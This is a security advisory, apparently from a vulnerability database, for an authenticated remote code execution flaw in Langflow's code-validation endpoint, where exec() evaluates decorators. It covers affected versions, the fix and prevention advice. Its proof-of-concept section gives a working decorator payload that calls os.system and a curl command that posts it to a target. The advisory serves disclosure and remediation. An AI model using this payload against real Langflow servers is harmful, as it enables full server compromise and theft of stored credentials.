GHSA-w584-2h2r-2hvf CVE-2026-51886 PYSEC-2026-4236
Langflow: Title Authenticated Remote Code Execution in validate_code via Malicious Decorators Description
- Severity
- 8.8 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.60%
- Chance of exploitation in the next 30 days. Higher than 48.80% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
1.10.1- Upgrade langflow to this version or later
Description
###Summary:
A critical Authenticated Remote Code Execution (RCE) vulnerability exists in the validate_code function of Langflow. The /api/v1/validate/code endpoint, meant to validate user-supplied code, leverages Python's exec() function. While it attempts to restrict execution to function definitions, it fails to account for decorators, which are evaluated at definition time. This allows any authenticated user to execute arbitrary code on the server, resulting in a full system compromise.
Details
The vulnerability is located in src/lfx/src/lfx/custom/validate.py(exposed via src/backend/base/langflow/api/v1/validate.py).
The validate_code function parses user input using ast. When it encounters a FunctionDef node, it compiles and executes it to check for extensive errors:
# src/lfx/src/lfx/custom/validate.py
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
# ...
# exec_globals creates a restricted-looking scope, but standard builtins are available
exec(code_obj, exec_globals)
By design, executing a function definition (def func(): ...) does not execute the function body. However, Python immediately evaluates decorators attached to the function definition. An attacker can supply a malicious decorator (e.g., a lambda or function call) to achieve immediate code execution during the "validation" phase.
Affected Versions
/api/v1/validate/codehad no authentication at all until commit3fed9fe1b5("fix: Add authentication to various endpoints", #10977), first released in v1.7.2. Before that release, this sameexec()sink was reachable unauthenticated.- From v1.7.2 through v1.10.0, the endpoint required a valid session but the
exec()sink was untouched, so any authenticated user (or any user at all underAUTO_LOGIN) could trigger RCE via a malicious decorator as described below. - Fixed in v1.10.1 — see Fix section.
PoC
- Authenticate as any user (acquire a valid access token or API key).
- Send a POST request to /api/v1/validate/code with the following JSON payload:
{
"code": "@lambda x: (__import__('os').system('touch /tmp/pwned'), x)[1]\ndef pwned():\n pass"
}
Curl Example
curl -X POST "http://<TARGET_HOST>/api/v1/validate/code" \
-H "Authorization: Bearer <YOUR_TOKEN>" \
-H "Content-Type: application/json" \
-d '{"code": "@lambda x: (__import__(\"os\").system(\"echo RCE_SUCCESS > /tmp/pwned\"), x)[1]\ndef pwned():\n pass"}'
Verify: Check the server file system. The file /tmp/pwned will be created.
Impact
This vulnerability results in Remote Code Execution (RCE).
Impacted Parties: Any user with access to the Langflow instance (Authenticated Users). Consequence: An attacker can execute arbitrary commands with the privileges of the process running Langflow. This allows reading sensitive environment variables (API keys, DB credentials), modifying files, or launching further attacks on the internal network.
Fix
Fixed in v1.10.1 by PR #13696 (commit e7c33dbaad, tracked as GHSA-2wcq-pvw2-xh7v): validate_code() in src/lfx/src/lfx/custom/validate.py no longer exec()s submitted FunctionDef nodes. It now only compile()s them to surface syntax/compile errors, which never evaluates decorators or default-argument expressions, closing this sink entirely.
This same fix independently resolves the different exploitation technique reported in duplicate advisory GHSA-xjq8-cqrm-7m4x (RCE via default-argument evaluation instead of a decorator). Both advisories share the exact same root-cause sink — the unconditional exec() in validate_code() — and differ only in which Python construct (decorator vs. default argument) is used to trigger execution at definition time. Credit for this finding is accordingly shared with the reporter of that duplicate.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| langflow | >= 1.7.2, < 1.10.1 |
1.10.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
langflow PyPI → 1.10.1
- pip
pip install --upgrade "langflow>=1.10.1"- poetry
poetry add "langflow>=1.10.1"- uv
uv add "langflow>=1.10.1"
Severity breakdown
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
- github.com/langflow-ai/langflow/security/advisories/GHSA-w584-2h2r-2hvf
- github.com/langflow-ai/langflow/issues/13336
- github.com/langflow-ai/langflow/pull/13696
- github.com/langflow-ai/langflow/commit/e7c33dbaade20b5295c7fa26bf83cc1ff68fba02
- gist.github.com/Ro1ME/c11b1e63e4e8fca6b25275144f25ec2a
- github.com/langflow-ai/langflow/releases/tag/v1.10.1
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-qrpv-q767-xqq2 Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow | High Known exploited | Also affects langflow |
| GHSA-vwmf-pq79-vjvx Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint | Critical Known exploited | Also affects langflow |
| GHSA-g22f-v6f7-2hrh Langflow affected by Remote Code Execution via validate_code() exec() | High Known exploited | Also affects langflow |
| GHSA-577h-p2hh-v4mv Langflow CORS misconfiguration enables Account Takeover and RCE | Critical Known exploited | Also affects langflow |
| GHSA-rvqx-wpfh-mfx7 Langflow Unauth RCE | Critical Known exploited | Also affects langflow |
| GHSA-j8f7-x8jm-wmm4 Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling) | Medium | Also affects langflow |
| GHSA-4f6c-2vvp-gw82 Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write | High | Also affects langflow |
| GHSA-4hmc-cfm3-w43c Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers | High | Also affects langflow |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor